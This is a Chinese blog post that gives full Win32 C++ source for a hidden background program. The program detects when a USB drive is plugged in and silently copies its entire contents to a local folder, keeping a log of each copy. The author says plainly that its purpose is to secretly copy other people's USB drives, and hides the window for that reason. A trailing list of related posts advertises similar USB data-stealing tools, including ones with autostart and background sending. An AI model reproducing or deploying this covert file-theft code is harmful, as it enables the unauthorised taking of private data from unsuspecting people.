U盘文件盗取

原创 于 2021-03-22 23:30:27 发布 · 1.2k 阅读 · 7 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#c++

本文介绍了一种使用Win32程序监听U盘插入并自动复制其内容的方法。通过创建消息窗口捕获WM_DEVICECHANGE消息，判断是否为U盘插入，然后调用复制函数COPYUP进行文件复制。程序还包含了隐藏窗口、记录日志以及添加退出快捷键等功能。

U盘文件盗取(Win32程序)

要根据下面的流程图来做，先做一个捕捉消息的窗口，如果插入U盘的话，窗口会捕捉到WM_DEVICECHANGE消息，窗口一直处于激活状态，所每次捕捉到消息就会调用获取盘符的函数，并且创建一个线程调用复制函数。最后写出工作日志。
在这里插入图片描述
首先是创建窗口函数，
这里需要注意的是因为我项目用的字符集是Unicode，
所以字符串前都加了L，
如果需要修改的话就点击项目->属性->高级->字符集修改成使用多字节字符集。

// 程序入口点
int CALLBACK WinMain(
    _In_  HINSTANCE hInstance,
    _In_  HINSTANCE hPrevInstance,
    _In_  LPSTR lpCmdLine,
    _In_  int nCmdShow
)
{
    //注册热键
    // 类名
    // 设计窗口类
    WNDCLASS wc = { };
    wc.hbrBackground = (HBRUSH)COLOR_WINDOW;
    wc.lpfnWndProc = WindowProc;
    wc.lpszClassName = L"cls_Name";
    wc.hInstance = hInstance;
    // 注册窗口类
    RegisterClass(&wc);
    // 创建窗口
    HWND hwnd = CreateWindow(
        L"cls_Name",           //类名，要和刚才注册的一致
        L"我的应用程序",    //窗口标题文字
        WS_OVERLAPPEDWINDOW, //窗口外观样式
        38,                 //窗口相对于父级的X坐标
        20,                 //窗口相对于父级的Y坐标
        480,                //窗口的宽度
        250,                //窗口的高度
        NULL,               //没有父窗口，为NULL
        NULL,               //没有菜单，为NULL
        hInstance,          //当前应用程序的实例句柄
        NULL);              //没有附加数据，为NULL
    if (hwnd == NULL) //检查窗口是否创建成功
        return 0;
    // 显示窗口
    ShowWindow(hwnd, SW_HIDE);
    // 更新窗口
    UpdateWindow(hwnd);
    // 消息循环
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return 0;
}

然后捕捉到消息会调用窗口实例化 wc.lpfnWndProc = WindowProc; 中的WindowProc函数。这个函数中如果收到消息WM_DEVICECHANGE就会调用 DeviceChange(uMsg, wParam, lParam) 函数。

// 在WinMain后实现
LRESULT CALLBACK WindowProc(
    _In_  HWND hwnd,
    _In_  UINT uMsg,
    _In_  WPARAM wParam,
    _In_  LPARAM lParam
)
{
    switch (uMsg)
    {
    case WM_DEVICECHANGE: {
        DeviceChange(uMsg, wParam, lParam);
        return 0;
    }
    case WM_DESTROY:
    {
        PostQuitMessage(0);
        return 0;
    }
    return DefWindowProc(hwnd, uMsg, wParam, lParam);
}

DeviceChange(uMsg, wParam, lParam) 函数是用来判断是否是U盘插入的函数。这个函数用消息中的wParam判断是否是U盘，再用lParam来获得盘符。其中 FirstDriveFromMask(pDevVolume->dbcv_unitmask) 就是获取盘符函数。

//获取盘符
LRESULT DeviceChange(UINT message, WPARAM wParam, LPARAM lParam) {
    if (DBT_DEVICEARRIVAL == wParam )
    {
        PDEV_BROADCAST_HDR pHdr = (PDEV_BROADCAST_HDR)lParam;
        if (pHdr->dbch_devicetype == DBT_DEVTYP_VOLUME)
        {
            PDEV_BROADCAST_VOLUME pDevVolume = (PDEV_BROADCAST_VOLUME)lParam;
            FirstDriveFromMask(pDevVolume->dbcv_unitmask);
        }
    }
    return 0;
}

FirstDriveFromMask(pDevVolume->dbcv_unitmask) 函数，通过对32位的unitmask进行右移来判断是哪个盘,从盘符从A-Z。获得盘符以后进行复制，调用 COPYUP(char FormDir) 函数。

//计算盘符
void FirstDriveFromMask(ULONG unitmask)
{
    char i;
    for (i = 0; i < 26; ++i)
    {
        if (unitmask & 0x1 ) {
            COPYUP(i + 'A');
            break;
        }
        unitmask >>= 1;
    }
    return;
}

COPYUP(char FormDir) 函数，通过对盘符进行拼接，用SHFILEOPSTRUCT类进行文件复制，参数pFrom是源地址，参数pTo是目的地址。其中timeGetTime是为了获得复制文件消耗的时间，char2wchars是为了把char类型转换为 wchar* 类型。GetFolderSize函数是得到U盘内容大小，WriteLog是写日志的函数。

//对u盘进行拷贝
BOOL COPYUP(char FormDir) {
    CStringW str;
    DWORD start, end;
    start = timeGetTime();
    SHFILEOPSTRUCT fop;
    fop.wFunc = FO_COPY;
    CStringW path(FormDir);
    path = path + ":\0";
    fop.pFrom = path;
    fop.pTo = L"F:\\copyup\0";
    SHFileOperation(&fop);
    end = timeGetTime() - start;
    wstring path1=char2wchars(FormDir);
    path1 = path1 + L":";
    _int64 size = GetFolderSize(path1);
    str.Format(_T("复制%c盘成功:time:%d ms    size:%I64d byte"),FormDir, end, size);
    WriteLog(str);
    return 0;
}

char2wchars函数

//把char[]转换成wchar
const wchar_t* chars2wchars(const char* c)
{
    size_t convertedCharLength = 0;
    const int length = strlen(c) + 1;
    wchar_t* wc = new wchar_t[length];
    mbstowcs_s(&convertedCharLength, wc, length, c, _TRUNCATE);

    return wc;
}

//把char转换成wchar
const wchar_t* char2wchars(char c)
{
    char p[] = { c,0 };
    // printf("%d",strlen(p));
    const wchar_t* ans = chars2wchars(p);
    return ans;
}

WriteLog函数

//写日志
void WriteLog(const wchar_t* text)
{
    //首先判断文件是否存在，如果不存在则创建，并在开头加入0xfeff;如果存在则直接写入
    const wchar_t* filePath = L"F:\\copyup\\log.txt";
    if (_waccess(filePath, 0) == -1)
    {
        FILE* fp;
        _wfopen_s(&fp, filePath, L"wb");
        if (fp != NULL)
        {
            uint16_t wSignature = 0xFEFF;
            fwrite(&wSignature, 2, 1, fp);
            SYSTEMTIME st;
            GetLocalTime(&st);
            wchar_t buf[128] = { 0 };
            swprintf_s(buf, 128, L"%04d/%02d/%02d %02d:%02d:%02d	", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
            fwrite(buf, sizeof(wchar_t), wcslen(buf), fp);
            fwrite(text, sizeof(wchar_t), wcslen(text), fp);
            fwrite(L"\r\n", sizeof(wchar_t), 2, fp);
            fclose(fp);
        }
    }
    else
    {
        FILE* fp;
        _wfopen_s(&fp, filePath, L"ab");
        if (fp != NULL)
        {
            SYSTEMTIME st;
            GetLocalTime(&st);
            wchar_t buf[128] = { 0 };
            swprintf_s(buf, 128, L"%04d/%02d/%02d %02d:%02d:%02d	", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
            fwrite(buf, sizeof(wchar_t), wcslen(buf), fp);
            fwrite(text, sizeof(wchar_t), wcslen(text), fp);
            fwrite(L"\r\n", sizeof(wchar_t), 2, fp);
            fclose(fp);
        }
    }
}

GetFolderSize函数

//计算u盘文件大小
__int64 GetFolderSize(const wstring& strDir)
{
    __int64 nSize = 0;
    wstring strRootPath = strDir + L"\\";
    wstring strRoot = strRootPath + L"*.*";
    WIN32_FIND_DATA fd;
    HANDLE hFind = FindFirstFile(strRoot.c_str(), &fd);
    if (INVALID_HANDLE_VALUE == hFind)
        return nSize;
    while (FindNextFile(hFind, &fd))
    {
        if (wcscmp(fd.cFileName, L".") == 0 || wcscmp(fd.cFileName, L"..") == 0)
            continue;
        wstring strPath = strRootPath + fd.cFileName;
        if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            nSize += GetFolderSize(strPath);
        else
        {
            HANDLE hFile = CreateFile(strPath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
            if (INVALID_HANDLE_VALUE == hFile)
                continue;
            LARGE_INTEGER size;
            if (::GetFileSizeEx(hFile, &size))
            {
                nSize += size.QuadPart;
            }
            CloseHandle(hFile);
        }
    }
    FindClose(hFind);
    return nSize;
}

因为这个是为了偷偷复制别人U盘内容，所以把接受消息的窗口进行了隐藏处理，所以想要结束程序，就要到任务管理器里结束，个人觉得太麻烦了就写了一个结束的快捷键。以下是完整代码：

#define HAVE_STRUCT_TIMESPEC
#include <Windows.h>
#include <string>
#include<iostream>
#include<Dbt.h>
#include<atlstr.h>
#include<thread>
#define myhotkey1 1018

using namespace std;
BOOL COPYUP(char FormDir);
void FirstDriveFromMask(ULONG unitmask);
__int64 GetFolderSize(const wstring& strDir);
void WriteLog(const wchar_t* text);
LRESULT DeviceChange(UINT message, WPARAM wParam, LPARAM lParam);
// 必须要进行前导声明
LRESULT CALLBACK WindowProc(
    _In_  HWND hwnd,
    _In_  UINT uMsg,
    _In_  WPARAM wParam,
    _In_  LPARAM lParam
);
// 程序入口点
int CALLBACK WinMain(
    _In_  HINSTANCE hInstance,
    _In_  HINSTANCE hPrevInstance,
    _In_  LPSTR lpCmdLine,
    _In_  int nCmdShow
)
{
    //注册热键

    // 类名
    // 设计窗口类
    WNDCLASS wc = { };
    wc.hbrBackground = (HBRUSH)COLOR_WINDOW;
    wc.lpfnWndProc = WindowProc;
    wc.lpszClassName = L"cls_Name";
    wc.hInstance = hInstance;
    // 注册窗口类
    RegisterClass(&wc);
    // 创建窗口
    HWND hwnd = CreateWindow(
        L"cls_Name",           //类名，要和刚才注册的一致
        L"我的应用程序",    //窗口标题文字
        WS_OVERLAPPEDWINDOW, //窗口外观样式
        38,                 //窗口相对于父级的X坐标
        20,                 //窗口相对于父级的Y坐标
        480,                //窗口的宽度
        250,                //窗口的高度
        NULL,               //没有父窗口，为NULL
        NULL,               //没有菜单，为NULL
        hInstance,          //当前应用程序的实例句柄
        NULL);              //没有附加数据，为NULL
    if (hwnd == NULL) //检查窗口是否创建成功
        return 0;
    // 显示窗口
    RegisterHotKey(hwnd, myhotkey1, MOD_CONTROL, VK_F1);
    ShowWindow(hwnd, SW_HIDE);
    // 更新窗口
    UpdateWindow(hwnd);
    // 消息循环
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return 0;
}
// 在WinMain后实现
LRESULT CALLBACK WindowProc(
    _In_  HWND hwnd,
    _In_  UINT uMsg,
    _In_  WPARAM wParam,
    _In_  LPARAM lParam
)
{
    switch (uMsg)
    {
    case WM_DEVICECHANGE: {
        DeviceChange(uMsg, wParam, lParam);
        return 0;
    }
    case WM_DESTROY:
    {
        PostQuitMessage(0);
        return 0;
    }
    case WM_HOTKEY:
        if (wParam == myhotkey1) {
            UnregisterHotKey(hwnd, myhotkey1);
            PostQuitMessage(0);
            return 0;
        }
    }
    return DefWindowProc(hwnd, uMsg, wParam, lParam);
}

//计算盘符
void FirstDriveFromMask(ULONG unitmask)
{
    char i;
    for (i = 0; i < 26; ++i)
    {
        if (unitmask & 0x1 ) {
            COPYUP(i + 'A');
            break;
        }
        unitmask >>= 1;
    }
    return;
}  

//把char[]转换成wchar
const wchar_t* chars2wchars(const char* c)
{
    size_t convertedCharLength = 0;
    const int length = strlen(c) + 1;
    wchar_t* wc = new wchar_t[length];
    mbstowcs_s(&convertedCharLength, wc, length, c, _TRUNCATE);

    return wc;
}

//把char转换成wchar
const wchar_t* char2wchars(char c)
{
    char p[] = { c,0 };
    // printf("%d",strlen(p));
    const wchar_t* ans = chars2wchars(p);
    return ans;
}

//获取盘符
LRESULT DeviceChange(UINT message, WPARAM wParam, LPARAM lParam) {
    if (DBT_DEVICEARRIVAL == wParam )
    {
        PDEV_BROADCAST_HDR pHdr = (PDEV_BROADCAST_HDR)lParam;
        if (pHdr->dbch_devicetype == DBT_DEVTYP_VOLUME)
        {
            PDEV_BROADCAST_VOLUME pDevVolume = (PDEV_BROADCAST_VOLUME)lParam;
            FirstDriveFromMask(pDevVolume->dbcv_unitmask);
        }
    }
    return 0;
}


//对u盘进行拷贝
BOOL COPYUP(char FormDir) {
    CStringW str;
    DWORD start, end;
    start = timeGetTime();
    SHFILEOPSTRUCT fop;
    fop.wFunc = FO_COPY;
    CStringW path(FormDir);
    path = path + ":\0";
    fop.pFrom = path;
    fop.pTo = L"F:\\copyup\0";
    SHFileOperation(&fop);
    end = timeGetTime() - start;
    wstring path1=char2wchars(FormDir);
    path1 = path1 + L":";
    _int64 size = GetFolderSize(path1);
    str.Format(_T("复制%c盘成功:time:%d ms    size:%I64d byte"),FormDir, end, size);
    WriteLog(str);
    return 0;
}

//写日志
void WriteLog(const wchar_t* text)
{
    //首先判断文件是否存在，如果不存在则创建，并在开头加入0xfeff;如果存在则直接写入
    const wchar_t* filePath = L"F:\\copyup\\log.txt";
    if (_waccess(filePath, 0) == -1)
    {
        FILE* fp;
        _wfopen_s(&fp, filePath, L"wb");
        if (fp != NULL)
        {
            uint16_t wSignature = 0xFEFF;
            fwrite(&wSignature, 2, 1, fp);
            SYSTEMTIME st;
            GetLocalTime(&st);
            wchar_t buf[128] = { 0 };
            swprintf_s(buf, 128, L"%04d/%02d/%02d %02d:%02d:%02d	", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
            fwrite(buf, sizeof(wchar_t), wcslen(buf), fp);
            fwrite(text, sizeof(wchar_t), wcslen(text), fp);
            fwrite(L"\r\n", sizeof(wchar_t), 2, fp);
            fclose(fp);
        }
    }
    else
    {
        FILE* fp;
        _wfopen_s(&fp, filePath, L"ab");
        if (fp != NULL)
        {
            SYSTEMTIME st;
            GetLocalTime(&st);
            wchar_t buf[128] = { 0 };
            swprintf_s(buf, 128, L"%04d/%02d/%02d %02d:%02d:%02d	", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
            fwrite(buf, sizeof(wchar_t), wcslen(buf), fp);
            fwrite(text, sizeof(wchar_t), wcslen(text), fp);
            fwrite(L"\r\n", sizeof(wchar_t), 2, fp);
            fclose(fp);
        }
    }
}

//计算u盘文件大小
__int64 GetFolderSize(const wstring& strDir)
{
    __int64 nSize = 0;
    wstring strRootPath = strDir + L"\\";
    wstring strRoot = strRootPath + L"*.*";
    WIN32_FIND_DATA fd;
    HANDLE hFind = FindFirstFile(strRoot.c_str(), &fd);
    if (INVALID_HANDLE_VALUE == hFind)
        return nSize;
    while (FindNextFile(hFind, &fd))
    {
        if (wcscmp(fd.cFileName, L".") == 0 || wcscmp(fd.cFileName, L"..") == 0)
            continue;
        wstring strPath = strRootPath + fd.cFileName;
        if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            nSize += GetFolderSize(strPath);
        else
        {
            HANDLE hFile = CreateFile(strPath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
            if (INVALID_HANDLE_VALUE == hFile)
                continue;
            LARGE_INTEGER size;
            if (::GetFileSizeEx(hFile, &size))
            {
                nSize += size.QuadPart;
            }
            CloseHandle(hFile);
        }
    }
    FindClose(hFind);
    return nSize;
}
U盘数据窃取
03-04
这是一篇讲解如何窃取插入电脑上的U盘数据的。内容详细，可以直接复制粘贴文中的代码。本文来自某篇博客，具体是哪一篇我忘了，如果侵权，联系立删。
优盘数据窃取工具（U盘小偷）
08-25
优盘数据窃取工具，安装后可以按照你的要求神不知鬼不觉的拷贝插在你电脑上的U盘中的数据，到指定的文件夹。
窃取U盘资料
游戏人生
03-21 1282
      窃取U盘资料代码清单:using System;using System.Collections.Generic;using System.ComponentModel;using System.Data;using System.Drawing;using System.Text;using System.Windows.Forms;using
Windows窃取U盘数据
qq_31629063的博客
06-14 2169
/************************************************************************* &gt; File Name: UDiskThief.cpp &gt; Author: 夜晚不懂天的白 &gt; Mail: 656325437@qq.com &gt; Created Time: 2017年10月15日 星期日 ...
U盘文件偷窃程序
weixin_30333885的博客
06-25 161
// Drives.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include "windows.h" #include "string.h" #include "direct.h" #include "stdlib.h" char dir[260]; wchar_t* char2wchar(char *cStr) { ...
Win32应用下的U盘文件盗取与进程隐藏技术解析
"计算机软件设计论文，涉及U盘文件盗取及进程隐藏技术，使用Win32 API，VC 6.0环境，包含APIHOOK、SSDT挂接、ODBCAPI和Microsoft Access数据库应用" 本文是一篇由淮北师范大学计算机科学与技术学院网络工程专业毕业...
计算机专业毕业论文：U盘文件盗取软件设计与实现
标题《优盘小偷》指向了一个计算机专业本科毕业论文的选题，该论文聚焦于一种特定的计算机软件——一种能够盗取U盘中文件的流氓软件设计。流氓软件（或称为恶意软件）是指未经用户同意就自行安装，并进行一些对用户...
VC实现的U盘文件小偷
04-23
【标题】：“VC实现的U盘文件小偷” 在计算机编程领域，特别是Windows系统下，开发者经常使用Visual C++（简称VC）进行应用程序的开发。本项目“VC实现的U盘文件小偷”是一个利用MFC（Microsoft Foundation Classes...
使用11行Python代码盗取了室友的U盘内容
09-20
标题所提及的“使用11行Python代码盗取室友的U盘内容”实际上是一个关于监控USB设备插入并自动复制其内容的概念。尽管这个行为是不道德的，但我们可以从中学习到一些有关Python编程和系统监控的知识点。 1. **USB...
VB/VBS脚本实现U盘数据盗取与自动还原教程
【压缩包子文件的文件名称列表】中的“盗取U盘数据”则可能表示压缩包内含有用于执行上述行为的脚本或程序文件。 在安全领域，了解这些知识点可以帮助更好地识别、预防和应对类似安全威胁。比如，了解VBScript可以...
U盘大盗（U盘文件窃取者）.rar
03-29
本程序会监视USB移动存储设备(如:U盘,MP3等)的插入,并按用户设置在后台复制文件.
U盘窃取的程序。。。。。
04-14
如果别人将u盘插入到你的电脑中就会自动将他U盘的文件拷贝出来，存带你的D盘
C++实现的偷偷复制U盘内的所有内容
12-27
上大学的时候有老师不给上课的PPT，就总想有个程序能偷偷复制老师的U盘。一直没有去实现，然后用C++做了个U盘“备份”器。现在将做好的软件的源代码和可执行文件（exe）分享给大家，交流学习 软件用法：直接双击运行（没有任何界面效果，软件已在后台运行，可在任务管理器中看到，高隐蔽性），程序会在C盘下创建一个名为UBack的文件夹（如果该文件夹已存在，则不会再次创建），然后即可静静等待U盘插入，插入后程序会自动将U盘中的所有内容悄悄拷贝到C盘UBack文件夹里面，拷贝完成后自动退出程序。整个过程只可能在任务管理器中查看，改个文件名更不易被人发现，隐蔽性极高
U盘小偷vbs+批处理实现（仅供学习交流）
05-29
****U盘小偷，搜索指定文件类型并后台复制至电脑目录（XP和WIN7下通过）****本人菜鸟，写的不好，不喜勿喷！！！多谢谅解！功能如下： 1.源码为VBS和BAT批处理混合，复制文件部分用批处理，原因为批处理比VBS快。 2.创建互斥，防止多个同程序运行。 3.复制自身至系统目录（system32），并添加注册表自启动值。因此如删除程序，必须先结束“wscript.exe”进程，然后再删除文件和注册表，否则程序会再次复制并添加启动值。 4.利用WMI查找U盘，效率高，准确率高。无需不断查询盘符，节省CPU资源。 5.复制U盘文件至系统SYSTEM32\usb目录下，以每个U盘的ID号命名文件夹，每个文件夹下有2个子文件夹：ph文件夹存放图片，docum文件夹存放DOC，xsl等文档，以及日志文件name_file.log。（复制文件类型及存放文件路径请自行修改） 6.只复制更新过的或没有的文件。 7.日志文件name_file.log的内容：u盘插入时间，复制的源文件完整路径，程序扫描的文件数，复制文件的个数。扫描耗时。拔出U盘时间。 8.经反复测试发现，利用bat复制文件比vbs效率高，扫描1万以上文件效果明显。如亲们有更好的方法，请指点迷津。 9.仅在XP，win7下测试通过。
本机盗取U 盘文件的流氓软件设计
05-20
本文介绍了本机盗取U 盘文件和为增强程序隐蔽性而采用的进程隐藏技术的原理解析， 源代码基于Win32 的应用程序（Win32‐based applications）编写，VC 6.0 环境下编译通过。 文章详细叙述了操作系统如何将USB 端口状态改变通知系统中的运行进程，运行进程如何 利用操作系统发送的消息判断USB 接口中有可移动存储设备插入。作为关键部分，文章用 较大篇幅介绍了本设计采用的利用API HOOK（挂接 SSDT）技术实现进程隐藏（基于Windows NT 系统）原理和编程思想。作为日志记录部分，本设计采用ODBC API + Microsoft Access 数 据库实现。
U盘资料窃取（复制+开机启动+后台发送）
foolyc的专栏
06-09 4030
原本是想制作一个类似于U盘木马的东东，可以自动下载电脑上U盘里资料，后台发送给自己，
U盘窃取病毒
沉默的大多数
12-30 1109
声明：我制作这个只是出于兴趣，从来没用它做过任何坏事，也请大家不要用来做违法的事！！！ 我是大二上学期写的这个小程序，用法就是先把程序放到目标电脑上，运行程序，它会自动隐藏后台运行，每分钟检测一次是否有U盘插进来（前提是你得先知道U盘插入后是磁盘几，下面代码是F盘），如果有，则将U盘内的全部内容复制到指定文件夹内。 代码我删了。 今天看了个程序员写的代码被人利用，导致坐牢的事。 谨言慎行。 ...
公共区域U盘窃取数据
热门推荐
大秋神
07-30 1万+
#!usr/bin/env python3 #!_*_ conding:utf-8 _*_ #!@Author：大秋神 #!@Time:2019-07-30 下午 12:02 import os,shutil,datetime,psutil,time s_path = r"E:\大秋神" while True: #遍历磁盘 for i in psutil.disk_partiti...
U盘资料窃取器（C++版)
wangluozhangleilei的专栏
08-04 2232
*USBsniffer v1.0*/ /*USBsniffer*/ /*注意：仅供学习交流，请勿用于不正当用途！*/ 功能简介： 本程序以3秒为周期，自动检测本地磁盘改动信息，如果发现有移动硬盘 或者U盘等USB存储设备后，会主动窃取其中所有信息，并保存在用户指定路 #include #include #include #incl
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值